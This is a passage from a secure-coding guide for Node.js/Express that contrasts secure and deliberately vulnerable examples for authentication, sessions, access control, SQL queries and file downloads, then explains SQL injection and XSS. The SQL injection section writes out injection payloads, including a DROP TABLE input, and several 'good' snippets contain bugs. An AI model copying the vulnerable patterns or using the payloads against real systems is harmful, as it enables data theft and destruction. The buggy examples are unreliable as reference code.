});\n",[612,17550,17548],{"__ignoreMap":66},[11,17552,17553],{},"In the above code, we are returning the customer’s personal information. However, the customer.note variable contains a malicious piece of JavaScript code that will be executed when the browser displays it, causing an XSS attack.",[565,17555,17557],{"id":17556},"authentication-and-password-management","Authentication and Password Management",[11,17559,17560],{},"Authentication is required for critical resources that are not publicly accessible. Public resources such as CSS, js, etc. do not need to be authenticated.",[11,17562,17563],{},"Can use the provided authentication mechanisms such as Oauth2 or Google authentication, Facebook authentication, etc.",[11,17565,17566],{},"Need to encrypt the password can use the provided reputable library.",[11,17568,17569],{},"When logging in, if the user enters the wrong username or password instead of specifically saying \"the user has the wrong username\" or \"the user has entered the wrong password\" just notify that \"the user entered the wrong login information\" to avoid collecting information from hackers.",[11,17571,17572],{},"An authentication mechanism should be implemented before external systems connect to our system to get data (via API, web service, etc.).",[11,17574,17575],{},"Use HTPP POST for authentication requests and the password shows up as *** unreadable.",[11,17577,17578],{},"It is recommended to use strong passwords for accounts such as having at least one uppercase letter, one lowercase letter, one number, one special character, and at least 8 characters in length.",[11,17580,17581],{},"The password reset link should have a short expiration time.",[11,17583,17584],{},"Need to set up a 2FA authentication mechanism for important tasks.",[11,17586,17587],{},"Set password change frequency and password re-use mechanism.",[11,17589,17590],{},"Request a temporary password change on the first login and set up a mechanism to lock the account after a number of incorrect credentials.",[11,17592,17484],{},[11,17594,17595],{},[20,17596,17489],{},[605,17598,17601],{"className":17599,"code":17600,"language":610},[608],"const express = require('express'); \nconst bcrypt = require('bcrypt'); \nconst app = express(); \nconst port = 3000; \n \n\u002F\u002F Assume this is a database that stores user information\nconst users = []; \n \napp.use(express.json()); \n \n\u002F\u002F User registration\napp.post('\u002Fregister', async (req, res) => {\n const { username, password } = req.body; \n \n \u002F\u002F Check if the user already exists \n if (users.find(user => user.username === username)) {\n   return res.status(400).json({ error: 'User already exists.' }); \n } \n \n \u002F\u002F Encrypt password before saving to database\n const hashedPassword = await bcrypt.hash(password, 10); \n \n \u002F\u002F Save user information to the database \n users.push({ username, password: hashedPassword }); \n  \n return res.status(201).json({ message: 'Sign Up Success.' }); \n}); \n \n\u002F\u002F Login\napp.post('\u002Flogin', async (req, res) => { \n const { username, password } = req.body; \n \n \u002F\u002F Find users in the database\n const user = users.find(user => user.username === username); \n if (!user) { \n  return res.status(401).json({ error: 'User entered incorrect login information.' }); \n } \n \n \u002F\u002F Compare encrypted passwords \n const isPasswordValid = await bcrypt.compare(password, user.password); \n if (!isPasswordValid) { \n  return res.status(401).json({ error: 'User entered incorrect login information.' }); \n } \n\n return res.status(200).json({ message: 'Logged in successfully.' }); \n});\n \napp.listen(port, () => {  console.log(`Server running ${port}`); });\n",[612,17602,17600],{"__ignoreMap":66},[11,17604,17605],{},"In the above code:",[11,17607,17608],{},"When a user registers, the password is encrypted before being saved to the database ensuring that the password is not saved as plain text in the database, increasing the security of the application.",[11,17610,17611],{},"When the user logs in, we check the entered password by comparing it with the encrypted password in the database and if the user enters the wrong username or password, we will output the general message ‘User entered incorrect login information.’ to avoid collecting information from hackers.",[11,17613,17614],{},[20,17615,17503],{},[605,17617,17620],{"className":17618,"code":17619,"language":610},[608],"const express = require('express'); \nconst bcrypt = require('bcrypt'); \nconst app = express(); \nconst port = 3000; \n\n\u002F\u002F Assume this is a database that stores user information\nconst users = []; \n\napp.use(express.json()); \n\n\u002F\u002F User registration\napp.post('\u002Fregister', async (req, res) => {\n const { username, password } = req.body; \n\n \u002F\u002F Check if the user already exists\n if (users.find(user => user.username === username)) {\n  return res.status(400).json({ error: 'User already exists.' }); \n } \n\n \u002F\u002F Save user information without password encryption into the database\n users.push({ username, password}); \n \n return res.status(201).json({ message: 'Sign Up Success.' }); \n}); \n\n\u002F\u002F Login \napp.post('\u002Flogin', async (req, res) => { \n const { username, password } = req.body; \n\n \u002F\u002F Find users in the database\n const user = users.find(user => user.username === username); \n if (!user) { \n  return res.status(401).json({ error: 'User entered incorrect username information.' }); \n } \n\n \u002F\u002F Compare passwords\n if (password !== user.password) { \n  return res.status(401).json({ error: 'User entered incorrect password information' }); \n } \n\n return res.status(200).json({ message: 'Logged in successfully.' }); \n});\n\napp.listen(port, () => {  console.log(`Server running ${port}`); });\n",[612,17621,17619],{"__ignoreMap":66},[11,17623,17605],{},[11,17625,17626],{},"When a user registers, the password is not encrypted before being saved to the database and violates the security of the application.",[11,17628,17629],{},"When a user logs in and enters an incorrect username or password information, the security problem is a specific error such as: “User entered incorrect username information.” or “User entered incorrect password information”.",[565,17631,17633],{"id":17632},"session-management","Session Management",[11,17635,17636],{},"Generation of sessions using identifiers must ensure randomness and avoid session sniffing or guessing attacks.",[11,17638,17639],{},"When logging out, the session should be terminated immediately.",[11,17641,17642],{},"The logout function must be available on all authenticated sites so that users can log out whenever they have successfully authenticated.",[11,17644,17645],{},"Do not allow the session to exist simultaneously with the same user to ensure the restriction of unauthorized access.",[11,17647,17648],{},"When re-authenticating still need to make sure to create a session with a new identifier to ensure it does not match the old session.",[11,17650,17651],{},"Should set the lifetime for a session.",[11,17653,17484],{},[11,17655,17656],{},[20,17657,17489],{},[605,17659,17662],{"className":17660,"code":17661,"language":610},[608],"const express = require('express'); \nconst session = require('express-session'); \nconst app = express(); \nconst port = 3000; \n \n\u002F\u002F Use session middleware \napp.use(session({ \n secret: 'secretKey', \n resave: true, \n saveUninitialized: true,\n cookie: { maxAge: 86400000) }\n})); \n \napp.use(express.json()); \n \n\u002F\u002F Assume this is a database that stores user information\nconst users = [ { username: 'test', password: 'password_hash' } ]; \n \n\u002F\u002F Check if user is logged in\nfunction isAuthenticated(req, res, next) { \n if (req.session && req.session.username) { \n  return next(); \n }\n return res.status(401).json({ error: 'You need to log in to continue.' }); \n} \n \n\u002F\u002F Login\napp.post('\u002Flogin', (req, res) => { \n const { username, password } = req.body; \n const user = users.find(user => user.username === username); \n if (!user || user.password !== password) { \n  return res.status(401).json({ error: 'Incorrect username or password.' }); \n } \n \n req.session.username = username; \n return res.status(200).json({ message: 'Logged in successfully.' }); \n}); \n  \n\u002F\u002F Show user information after login\napp.get('\u002Fprofile', isAuthenticated, (req, res) => { \n const username = req.session.username; \n return res.status(200).json({message: `Personal information: ${username}`}); \n}); \n \n\u002F\u002F Logout\napp.post('\u002Flogout', isAuthenticated, (req, res) => { \n req.session.destroy(); \n return res.status(200).json({ message: 'Sign out successful.' }); \n});\n \napp.listen(port, () => {  console.log(`Server running ${port}`); });\n",[612,17663,17661],{"__ignoreMap":66},[11,17665,17666],{},"In the above example, when the user logs in successfully, we save the username information into the session and set the lifetime to 1 day. The \u002Fprofile and \u002Flogout routes require a logged-in user for access, and we check session information to verify the login status. When the user logs out, we will end this session and will recreate a new session when the user logs back in.",[11,17668,17669],{},[20,17670,17503],{},[605,17672,17675],{"className":17673,"code":17674,"language":610},[608],"const express = require('express'); \nconst session = require('express-session'); \nconst app = express(); \nconst port = 3000; \n \n\u002F\u002F Use session middleware \napp.use(session({ \n secret: 'secretKey', \n resave: false, \n saveUninitialized: false,\n cookie: { maxAge: 86400000) }\n})); \n \napp.use(express.json()); \n \n\u002F\u002F Assume this is a database that stores user information\nconst users = [ { username: 'test', password: 'password_hash' } ]; \n \n\u002F\u002F Check if user is logged in\nfunction isAuthenticated(req, res, next) { \n if (req.session && req.session.username) { \n  return next(); \n }\n return res.status(401).json({ error: 'You need to log in to continue.' }); \n} \n \n\u002F\u002F Login\napp.post('\u002Flogin', (req, res) => { \n const { username, password } = req.body; \n const user = users.find(user => user.username === username); \n if (!user || user.password !== password) { \n  return res.status(401).json({ error: 'Incorrect username or password.' }); \n } \n \n req.session.username = username; \n return res.status(200).json({ message: 'Logged in successfully.' }); \n}); \n  \n\u002F\u002F Show user information after login\napp.get('\u002Fprofile', isAuthenticated, (req, res) => { \n const username = req.session.username; \n return res.status(200).json({message: `Personal information: ${username}`}); \n}); \n \n\u002F\u002F Logout\napp.post('\u002Flogout', isAuthenticated, (req, res) => { \n return res.status(200).json({ message: 'Sign out successful.' }); \n});\n \napp.listen(port, () => {  console.log(`Server running ${port}`); });\n",[612,17676,17674],{"__ignoreMap":66},[11,17678,17679],{},"In the above example, when the user logs in successfully, we save the username information into the session and do not set the session end time. When the user logs out, the session is not destroyed and this session always exists.",[565,17681,17683],{"id":17682},"access-control","Access Control",[11,17685,17686],{},"Perform access testing with all sent requests including requests sent by HTTP request, Ajax to ensure that the authorization is always done correctly with the corresponding authorized account. Avoid access to unauthorized resources.",[11,17688,17689],{},"Need to implement centralized decentralization, easy to manage and not affected by the logic of the code that performs the function of the web.",[11,17691,17692],{},"It is necessary to limit access to important resources to authorized users.",[11,17694,17695],{},"The application should have clear documentation of the access policy.",[11,17697,17698],{},"When there is a change in permissions or a change in the business logic related to access rights, disable the account and terminate the session. Only when the user logs back in will the account continue to use.",[11,17700,17701],{},"Implement a mechanism to temporarily lock accounts after a period of inactivity.",[11,17703,17704],{},"If user data needs to be stored on the client side, it needs to be encrypted and checked for integrity on the server.",[11,17706,17707],{},"Properly implement the principle of delegating power to the right people, with the right rights. Only authorized users have access to certain resources on the system.",[11,17709,17484],{},[11,17711,17712],{},[20,17713,17489],{},[605,17715,17718],{"className":17716,"code":17717,"language":610},[608],"const express = require('express'); \nconst app = express(); \nconst port = 3000; \n \n\u002F\u002F Assume this is a database that stores user information\nconst users = [ \n  { username: 'user1', role: 'admin' }, \n  { username: 'user2', role: 'user' } \n]; \n \n\u002F\u002F Middleware checks the user's role\nfunction checkRole(role) { \n  return (req, res, next) => { \n    const user = users.find(user => user.username === req.session.username); \n     \n    if (user && user.role === role) { \n      return next(); \n    } \n    return res.status(403).json({ error: 'You do not have access.' }); \n  }; \n} \n \napp.use(express.json()); \n \napp.get('\u002Fprofile', (req, res) => { \n  const username = req.session.username; \n  return res.status(200).json({message: `Personal information: ${username}`});\n}); \n \napp.get('\u002Fadmin', checkRole('admin'), (req, res) => { \n  return res.status(200).json({ message: 'Admin page.' }); \n});\n \napp.listen(port, () => {  console.log(`Server running ${port}`); });\n",[612,17719,17717],{"__ignoreMap":66},[11,17721,17722],{},"In the above example, we used a checkRole middleware to check the user's role. Route \u002Fprofile allows access to all users. The \u002Fadmin route requires the “admin” role and only allows users with the “admin” role to access the admin page. If they don't have permission they will receive a 403 (Forbidden) status code.",[11,17724,17725],{},[20,17726,17503],{},[605,17728,17731],{"className":17729,"code":17730,"language":610},[608],"const express = require('express'); \nconst app = express(); \nconst port = 3000; \n \n\u002F\u002F Assume this is a database that stores user information\nconst users = [ \n  { username: 'user1', role: 'admin' }, \n  { username: 'user2', role: 'user' } \n]; \n \napp.use(express.json()); \n \napp.get('\u002Fprofile', (req, res) => { \n const username = req.session.username; \n return res.status(200).json({message: `Personal information: ${username}`});\n}); \n \napp.get('\u002Fadmin', (req, res) => { \n return res.status(200).json({ message: 'Admin page.' }); \n});\n \napp.listen(port, () => {  console.log(`Server running ${port}`); });\n",[612,17732,17730],{"__ignoreMap":66},[11,17734,17735],{},"In the above example, the \u002Fprofile and  \u002Fadmin routes both allow access to all users and have no permissions. This will be very dangerous because the admin page will be accessed illegally by users with role=”user”.",[565,17737,17739],{"id":17738},"error-handling-and-logging","Error Handling and Logging",[11,17741,17742],{},"Need to report common errors and proceed to define error pages to return when the site encounters an error. Avoid using the framework's default error pages because these often contain a lot of information related to the application and version.",[11,17744,17745],{},"The log should record all important events as follows:",[203,17747,17748,17751,17754,17757,17760,17763],{},[34,17749,17750],{},"Log all input validation errors",[34,17752,17753],{},"Log all system exceptions",[34,17755,17756],{},"Record all access control errors",[34,17758,17759],{},"Record all authentication attempts, especially failed attempts",[34,17761,17762],{},"Log the entire event of multiple login attempts or session expiration",[34,17764,17765],{},"Log all administrative functions",[11,17767,17768],{},"Do not store sensitive information in the log, including unnecessary system details, software version information or user passwords.",[11,17770,17771],{},"Restrict log access to authorized users only.",[11,17773,17774],{},"Make sure the log contains important event data such as event time, severity for each event, tags for each event, account information that performed the event, source ip, dest ip, and event description, etc.",[11,17776,17777],{},"Error handling information should record both success and failure events to help trace when problems occur.",[11,17779,17780],{},"Do not reveal sensitive information in error responses from the website, including system details, application versions or account information.",[11,17782,17484],{},[11,17784,17785],{},[20,17786,17489],{},[605,17788,17791],{"className":17789,"code":17790,"language":610},[608],"const express = require('express'); \nconst winston = require('winston'); \nconst app = express(); \nconst port = 3000; \n \n\u002F\u002F Set up logger \nconst logger = winston.createLogger({ \n  level: 'info', \n  format: winston.format.simple(), \n  transports: [ \n    new winston.transports.Console(), \n    new winston.transports.File({ filename: 'error.log', level: 'error' }) \n  ] \n}); \n \n\u002F\u002F Middleware for error handling\napp.use((err, req, res, next) => { \n  logger.error(err.stack); \n  res.status(500).json({ error: 'An error occurred.' }); \n}); \n \n\u002F\u002F Route has caused an error\napp.get('\u002Ferror', (req, res, next) => { \n  const error = new Error('message error'); \n  next(error); \n});\n \napp.listen(port, () => {  console.log(`Server running ${port}`); });\n",[612,17792,17790],{"__ignoreMap":66},[11,17794,17795],{},"In the above example, we used the winston library to create the logger and set up the logger to log error information and store it in the \"error.log\" file. The route \u002Ferror is used to illustrate the occurrence of an error. In this route, we generate an arbitrary error and call the next() function to pass the error to the error handling middleware. Using a logger makes it easier for us to manage our application.",[11,17797,17798],{},[20,17799,17503],{},[605,17801,17804],{"className":17802,"code":17803,"language":610},[608],"const express = require('express'); \nconst app = express(); \nconst port = 3000; \n \n\u002F\u002F Middleware for error handling\napp.use((err, req, res, next) => { \n  res.status(500).json({ error: 'An error occurred.' }); \n}); \n \n\u002F\u002F Route has caused an error \napp.get('\u002Ferror', (req, res, next) => { \n const error = new Error('message error'); \n next(error); \n});\n \napp.listen(port, () => {  console.log(`Server running ${port}`); });\n",[612,17805,17803],{"__ignoreMap":66},[11,17807,17808],{},"In the above example, do not use the winston library to create loggers and to log errors when they occur. When the program has a certain error problem, it is very difficult to investigate and fix.",[565,17810,17812],{"id":17811},"data-protection","Data Protection",[11,17814,17815],{},"Turn off autocomplete username and password features in the browser.",[11,17817,17818],{},"Do not send sensitive information in HTTP GET request parameters such as username, password, token, session_id, etc.",[11,17820,17821],{},"Remove all unnecessary comments in the source code as comments may contain user or database access information or may reveal other sensitive system information.",[11,17823,17824],{},"Decentralize accounts according to the correct function to help limit unauthorized access or mistakenly cause data loss.",[11,17826,17827],{},"Protect the server-side source code from being downloaded by users by decentralizing the source code directory, not revealing the source code and the source code storage path.",[11,17829,17830],{},"Implement appropriate access controls for sensitive data stored on the server.",[11,17832,17833],{},"Disable client-side caching on pages that contain usable sensitive information: Cache-Control: no-store in the HTTP header.",[11,17835,17484],{},[11,17837,17838],{},[20,17839,17489],{},[605,17841,17844],{"className":17842,"code":17843,"language":610},[608],"const express = require('express'); \nconst app = express(); \nconst port = 3000; \n \n\u002F\u002F Search user\napp.get('\u002Fuser?name=test&email=test@gmail.com', async (req, res) => { \n const result = await userService.userSearch(req.query);\n return res.status(200).json(result);\n}); \n\napp.listen(port, () => {  console.log(`Server running ${port}`); });\n",[612,17845,17843],{"__ignoreMap":66},[11,17847,17848],{},"In the above example, the \u002Fuser route will search for the user by name and email and return the corresponding results. This name and email information are not sensitive information so you can search normally.",[11,17850,17851],{},[20,17852,17503],{},[605,17854,17857],{"className":17855,"code":17856,"language":610},[608],"const express = require('express'); \nconst app = express(); \nconst port = 3000; \n\n\u002F\u002F Search user\napp.get('\u002Fuser?password=test123&email=test@gmail.com', async (req, res) => { \n const result = await userService.userSearch(req.query);\n return res.status(200).json(result);\n}); \n\napp.listen(port, () => {  console.log(`Server running ${port}`); });\n",[612,17858,17856],{"__ignoreMap":66},[11,17860,17861],{},"In the above example, the \u002Fuser route will search for users by password and email and return the corresponding results. Because passwords are sensitive information, this case violates security.",[565,17863,17865],{"id":17864},"communication-security","Communication Security",[11,17867,17868],{},"Make sure the HTTP referer does not contain sensitive information such as session_id, token, etc. Make sure these parameters are filtered from the HTTP referer before accessing another website.",[11,17870,17871],{},"When external systems make connections and access information to our systems, we need to ensure that there is a TLS connection.",[11,17873,17874],{},"Implement encryption to transmit all sensitive information using TLS for transmission encryption to help protect the connection",[11,17876,17877],{},"It is necessary for the website to always use a TLS connection for all content that requires authenticated access and for all access operations.",[11,17879,17880],{},"The UTF-8 encoded character set can be used for encoding connections.",[11,17882,17484],{},[11,17884,17885],{},[20,17886,17489],{},[605,17888,17891],{"className":17889,"code":17890,"language":610},[608],"const https = require('https'); \nconst fs = require('fs'); \nconst express = require('express'); \nconst port = 443; \nconst app = express(); \n  \napp.get('\u002Fsecure', (req, res) => {\n  console.log('Data is transmitted securely.');\n  res.redirect('https:\u002F\u002Fexample.com'); \n});\n \n\u002F\u002F Create server HTTPS\nhttps.createServer({\n key: fs.readFileSync('\u002Fpath\u002Fto\u002Fprivate-key.pem'), \n cert: fs.readFileSync('\u002Fpath\u002Fto\u002Fcertificate.pem')\n}, app).listen(port);\n",[612,17892,17890],{"__ignoreMap":66},[11,17894,17895,17896,17900],{},"In the above example, we used the https module to create a server using the HTTPS protocol. When a user accesses the \u002Fsecure route, data is securely transmitted over HTTPS and redirected to a ",[55,17897,17898],{"href":17898,"rel":17899},"https:\u002F\u002Fexample.com",[59]," domain, ensuring that information cannot be stolen or modified during the transmission and that HTTP referers do not contain sensitive information.",[11,17902,17903],{},[20,17904,17503],{},[605,17906,17909],{"className":17907,"code":17908,"language":610},[608],"const https = require('https'); \nconst fs = require('fs'); \nconst express = require('express'); \nconst port = 443; \nconst app = express(); \n \napp.get('\u002Fsecure?session_id=xxx', (req, res) => { \n  res.redirect('https:\u002F\u002Fexample.com'); \n});\n \n\u002F\u002F Create server HTTPS\nhttps.createServer({\nkey: fs.readFileSync('\u002Fpath\u002Fto\u002Fprivate-key.pem'), \ncert: fs.readFileSync('\u002Fpath\u002Fto\u002Fcertificate.pem')\n}, app).listen(port);\n",[612,17910,17908],{"__ignoreMap":66},[11,17912,17913,17914,17917,17918,878],{},"In the above example, when a user accesses the \u002Fsecure route, it will redirect to a domain ",[55,17915,17898],{"href":17898,"rel":17916},[59],". This time the HTTP referer contains sensitive information called session_id and can be accessed from the domain ",[55,17919,17898],{"href":17898,"rel":17920},[59],[565,17922,17924],{"id":17923},"system-configuration","System Configuration",[11,17926,17927],{},"It is necessary to have a source code management system, version history, change history, and change log of all components in the system to manage easily and limit security risks.",[11,17929,17930],{},"The dev, test, and production environments need to be set up to isolate and not share resources and databases. Helps to control data well as well as avoid the risk of attacking the test system and then attacking the production system.",[11,17932,17933],{},"Removing unnecessary information from the HTTP response related to the operating system, web server version, debug information or source code helps prevent attackers from collecting and serves as the basis for deeper attacks on the website.",[11,17935,17936],{},"Remove test or debug code from the source code or any non-production functionality before deploying.",[11,17938,17939],{},"It is necessary to turn off the Directory listing function on the webserver to help limit the disclosure of sensitive files, files containing important information.",[11,17941,17942],{},"Make sure the server, OS, framework, and system components are using a secure version with no vulnerabilities, preferably the latest version.",[11,17944,17945],{},"Ensure the server, OS, framework, and system components are always updated with security patches from the developer to prevent hackers from exploiting publicly available security exploits.",[11,17947,17484],{},[11,17949,17950],{},[20,17951,17489],{},[605,17953,17956],{"className":17954,"code":17955,"language":610},[608],"const express = require('express'); \nconst app = express(); \nconst port = 3000; \n \n\u002F\u002F Read environment variables for database configuration\nconst dbConfig = { \n  host: process.env.DB_HOST, \n  username: process.env.DB_USERNAME, \n  password: process.env.DB_PASSWORD, \n  database: process.env.DB_DATABASE' \n}; \n \n\u002F\u002F Make a database connection\nfunction connectToDatabase(config) { \n  \u002F\u002F Write the code to connect to the database here\n} \n \nconnectToDatabase(dbConfig); \napp.listen(port, () => {  console.log(`Server running ${port}`); });\n",[612,17957,17955],{"__ignoreMap":66},[11,17959,17960],{},"In the above example, we used environment variables to store database configuration information such as DB_HOST, DB_USERNAME, DB_PASSWORD, and DB_DATABASE. By using environment variables, we can easily adjust the system's configuration without modifying the source code and help reduce the risk of revealing important information such as passwords in the source code, creating favorable conditions for more secure deployment and configuration management.",[11,17962,17963],{},[20,17964,17503],{},[605,17966,17969],{"className":17967,"code":17968,"language":610},[608],"const express = require('express'); \nconst app = express(); \nconst port = 3000; \n\nconst dbConfig = { \n host: 'host', \n username: 'username', \n password: 'password', \n database: 'database' \n}; \n\n\u002F\u002F Make a database connection\nfunction connectToDatabase(config) { \n \u002F\u002F Write the code to connect to the database here\n} \n\nconnectToDatabase(dbConfig); \napp.listen(port, () => {  console.log(`Server running ${port}`); });\n",[612,17970,17968],{"__ignoreMap":66},[11,17972,17973],{},"In the above example, we do not use environment variables to store database configuration information but write the value directly in the code. If written this way, when adjusting the system configuration, the source code will be modified and there is a risk of revealing important information such as passwords in the source code, making it difficult to manage configuration and deploy safely.",[565,17975,17977],{"id":17976},"database-security","Database Security",[11,17979,17980],{},"Each account connected to the database needs to be clearly and separately authorized according to its functions, tasks, and permissions.",[11,17982,17983],{},"Default accounts, unused accounts for system requirements need to be removed from the system.",[11,17985,17986],{},"Close the database if it is no longer accessible.",[11,17988,17989],{},"Database connection strings need to be stored in separate config files and should be securely encrypted using strong encryption algorithms.",[11,17991,17992],{},"The account\u002Fpassword to access the database should be strong enough, not using default or easily guessed credentials.",[11,17994,17995],{},"The database needs to run with the user with the lowest privileges, is clearly decentralized, and can only access certain databases to help prevent attacks and data exploitation of other databases.",[11,17997,17998],{},"Need to validate the input data before executing the query.",[11,18000,18001],{},"Using parameters for SQL query statements keeps the query and data separate. Instead of string concatenation in the SQL query, parameters are passed through variables. This helps prevent SQL Injection errors when users pass in malicious data.",[11,18003,17484],{},[11,18005,18006],{},[20,18007,17489],{},[605,18009,18012],{"className":18010,"code":18011,"language":610},[608],"const express = require('express'); \nconst mysql = require('mysql'); \nconst app = express(); \nconst port = 3000; \n \n\u002F\u002F Connect to the database\nconst db = mysql.createConnection({ \n  host: 'localhost', \n  user: 'username', \n  password: 'password', \n  database: 'mydb' \n}); \n \ndb.connect(err => {\n  if (err) {\n    console.error('Database connection error:', err); return; \n  } \n  console.log('Connected to the database.'); \n}); \n \napp.use(express.json()); \n \n\u002F\u002F Create a new book \napp.post('\u002Fbook', (req, res) => { \n  const { title, author } = req.body; \n  const query = 'INSERT INTO books (title, author) VALUES (?, ?)'; \n  db.query(query, [title, author], (err, result) => { \n    if (err) { \n      return res.status(500).json({ error: 'An error occurred.' }); \n    } \n    return res.status(201).json({ message: 'Created successfully.' }); \n  }); \n}); \n \n\u002F\u002F Get the list\napp.get('\u002Fbook', (req, res) => { \n  const query = 'SELECT * FROM books where title = ?'; \n  db.query(query, [title],(err, result) => { \n    if (err) { \n      return res.status(500).json({ error: 'An error occurred.' }); \n    } \n    return res.status(200).json(result); \n  }); \n}); \n \napp.listen(port, () => {  console.log(`Server running ${port}`); });\n",[612,18013,18011],{"__ignoreMap":66},[11,18015,18016],{},"In the above example, we use the mysql library to connect and manipulate the MySQL database. To ensure security in SQL queries, we use parameters for SQL query statements. This helps prevent SQL injection attacks by preventing users from passing malicious data into SQL queries.",[11,18018,18019],{},[20,18020,17503],{},[605,18022,18025],{"className":18023,"code":18024,"language":610},[608],"const express = require('express'); \nconst mysql = require('mysql'); \nconst app = express(); \nconst port = 3000; \n \n\u002F\u002F Connect to the database \nconst db = mysql.createConnection({ \n host: 'localhost', \n user: 'username', \n password: 'password', \n database: 'mydb' \n}); \n \ndb.connect(err => {\n if (err) {\n   console.error('Database connection error:', err); return; \n } \n console.log('Connected to the database.'); \n}); \n \napp.use(express.json()); \n \n\u002F\u002F Create a new book \napp.post('\u002Fbook', (req, res) => { \n const { title, author } = req.body; \n const query = 'INSERT INTO books (title, author) VALUES (title, author)'; \n db.query(query, (err, result) => { \n   if (err) { \n     return res.status(500).json({ error: 'An error occurred.' }); \n   } \n   return res.status(201).json({ message: 'Created successfully.' }); \n }); \n}); \n \n\u002F\u002F Get the list\napp.get('\u002Fbook', (req, res) => { \n const query = 'SELECT * FROM books where title =' + title; \n db.query(query, (err, result) => { \n   if (err) { \n     return res.status(500).json({ error: 'An error occurred.' }); \n   } \n   return res.status(200).json(result); \n }); \n}); \n\napp.listen(port, () => {  console.log(`Server running ${port}`); });\n",[612,18026,18024],{"__ignoreMap":66},[11,18028,18029],{},"In the above example, instead of using the parameter passed to the SQL query, we are concatenating the string in the SQL query. This will suffer from SQL injection attacks.",[565,18031,18033],{"id":18032},"file-management","File Management",[11,18035,18036],{},"It is recommended to make file directory permissions: read-only to avoid unauthorized modifications from attackers",[11,18038,18039],{},"Do not return the absolute path (Example: \u002Fvar\u002Fwww\u002Fhtml\u002Fuploads\u002Ftest.jpg) because the attacker can know the absolute path of the website from which to attack other vulnerabilities. Returns only the file name or directory path containing the file (\u002Fuploads\u002Ftest.jpg)",[11,18041,18042],{},"Do not store files with the server running the web service. Do file storage on a separate server or use a 3rd party file storage service like Amazon S3.",[11,18044,18045],{},"Limit the types of files (header files) that are allowed to be uploaded to the server. For the upload function, it is necessary to whitelist the uploaded file headers that match the functional requirements (For example the avatar upload function only allows Content-types: image\u002Fjpeg and image\u002Fpng).",[11,18047,18048],{},"Authentication is required before the user can perform the upload. User authentication helps to limit the unauthorized upload of malicious files as well as serves the process of tracking users when an attack occurs.",[11,18050,18051],{},"Limit the file types (extension files) allowed to upload to the server. For the upload function, it is necessary to whitelist the uploaded files that match the functional requirements (For example the avatar upload function only allows: png and jpg).",[11,18053,18054],{},"Use a virus scanner to check user-uploaded files. This helps to remove malicious files and viruses that users upload.",[11,18056,17484],{},[11,18058,18059],{},[20,18060,17489],{},[605,18062,18065],{"className":18063,"code":18064,"language":610},[608],"const express = require('express'); \nconst fs = require('fs'); \nconst path = require('path'); \nconst app = express(); \nconst port = 3000; \n \napp.use(express.json()); \napp.use(express.static('public')); \n \n\u002F\u002F Download file \napp.get('\u002Fdownload\u002F:filename', (req, res) => { \n  const requestedFile = req.params.filename; \n  if (!\u002F^[a-zA-Z0-9._-]+$\u002F.test(requestedFile )) { \n    return res.status(400).send('filename is not valid'); \n  }\n  \n  const filePath = path.join(__dirname, 'uploads', requestedFile);\n  if (!fs.existsSync(filePath)) { \n    return res.status(404).json({ error: 'File does not exist.' }); \n  } \n \n  const fileStream = fs.createReadStream(filePath); \n  res.setHeader('Content-Disposition', `attachment; filename=${requestedFile}`); \n  fileStream.pipe(res); \n});\n \napp.listen(port, () => {  console.log(`Server running ${port}`); });\n",[612,18066,18064],{"__ignoreMap":66},[11,18068,18069],{},"In the above example, when downloading the file, we use the res.setHeader() method to set the \"Content-Disposition\" header in the HTTP response. This specifies that the file will be downloaded as an attachment with the specified filename. When using such an attachment, the user will receive the file without knowing its absolute path on the server. This helps protect information about system architecture and prevents attacks based on knowing the absolute file path.",[11,18071,18072],{},[20,18073,17503],{},[605,18075,18078],{"className":18076,"code":18077,"language":610},[608],"const express = require('express'); \nconst fs = require('fs');\nconst path = require('path'); \nconst app = express(); \nconst port = 3000;\n \napp.use(express.static('public'));\n \n\u002F\u002F Download file \napp.get('\u002Fdownload\u002F:filename', (req, res) => { \n  const requestedFile = req.params.filename; \n  const filePath = path.join(__dirname, 'uploads', requestedFile); \n  if (!fs.existsSync(filePath)) { \n    return res.status(404).json({ error: 'File does not exist.' }); \n  } \n \n  res.download(filePath, requestedFile, err => { \n    if (err) { \n      console.error('Error downloading file:', err); \n      return res.status(500).json({ error: 'An error occurred.' }); \n    } \n  });\n});\n\napp.listen(port, () => {  console.log(`Server running ${port}`); });\n",[612,18079,18077],{"__ignoreMap":66},[11,18081,18082],{},"In the above example will return the absolute path of the file.",[403,18084,18086],{"id":18085},"common-attack-errors-and-prevention-methods","Common attack errors and prevention methods",[565,18088,18090],{"id":18089},"sql-injection","SQL Injection",[11,18092,18093],{},"SQL Injection is a technique that takes advantage of the query vulnerabilities of applications. It is executed by injecting a SQL snippet to falsify the original query, thereby exploiting data from the database, creating errors, or damaging the system's data.",[11,18095,18096],{},"For example, we have a function like this:",[605,18098,18101],{"className":18099,"code":18100,"language":610},[608],"const getUserByUserName = (userName: string) => {\n\n const query = 'SELECT * FROM Users WHERE userName = ’ + userName;\n\n return query.excute();\n\n}\n",[612,18102,18100],{"__ignoreMap":66},[11,18104,18105],{},"When the user transmission userName = 'abc' or '1'='1', the SQL statement will look like this:",[605,18107,18110],{"className":18108,"code":18109,"language":610},[608],"SELECT * FROM Users WHERE userName = 'abc' or '1'='1';\n",[612,18111,18109],{"__ignoreMap":66},[11,18113,18114],{},"With this SQL statement is always true and returns all information in the Users table.",[11,18116,18117],{},"In another case, the user transmission userName = 'abc'; DROP TABLE Users; the SQL statement would look like this:",[605,18119,18122],{"className":18120,"code":18121,"language":610},[608],"SELECT* FROM Users WHERE userName = 'abc';\nDROP TABLE Users;\n",[612,18123,18121],{"__ignoreMap":66},[11,18125,18126],{},"With this command, the Users table will be deleted, and very dangerous.",[11,18128,18129],{},[20,18130,18131],{},"Prevention",[203,18133,18134,18137,18140],{},[34,18135,18136],{},"Check user input: Regular Expression can be used to remove strange characters or characters other than numbers and letters.",[34,18138,18139],{},"Do not concatenate strings to generate SQL: Use parameters instead of string concatenation. If the input data is not legal, SQL Engine will automatically report an error, we do not need to use code to check.",[34,18141,18142],{},"Limit writing pure SQL, should use the ORM (Object-Relational Mapping) framework library, this framework will generate SQL statements by itself, so it will be safer.",[565,18144,18146],{"id":18145},"cross-site-scripting-xss","Cross-Site Scripting (XSS)",[11,18148,18149],{},"Cross-Site Scripting (XSS) is a common form of malicious code attack. Hackers will take advantage of vulnerabilities in web security to insert scripts to execute them on the client side. Typically, XSS attacks are used to bypass access and impersonate users. The main purpose of this attack is to steal user's identifying data such as cookies, session tokens, and other information.",[11,18151,18152],{},"There are 3 main types of XSS attacks as follows:",[203,18154,18155,18183,18191],{},[34,18156,18157,18158],{},"Reflected 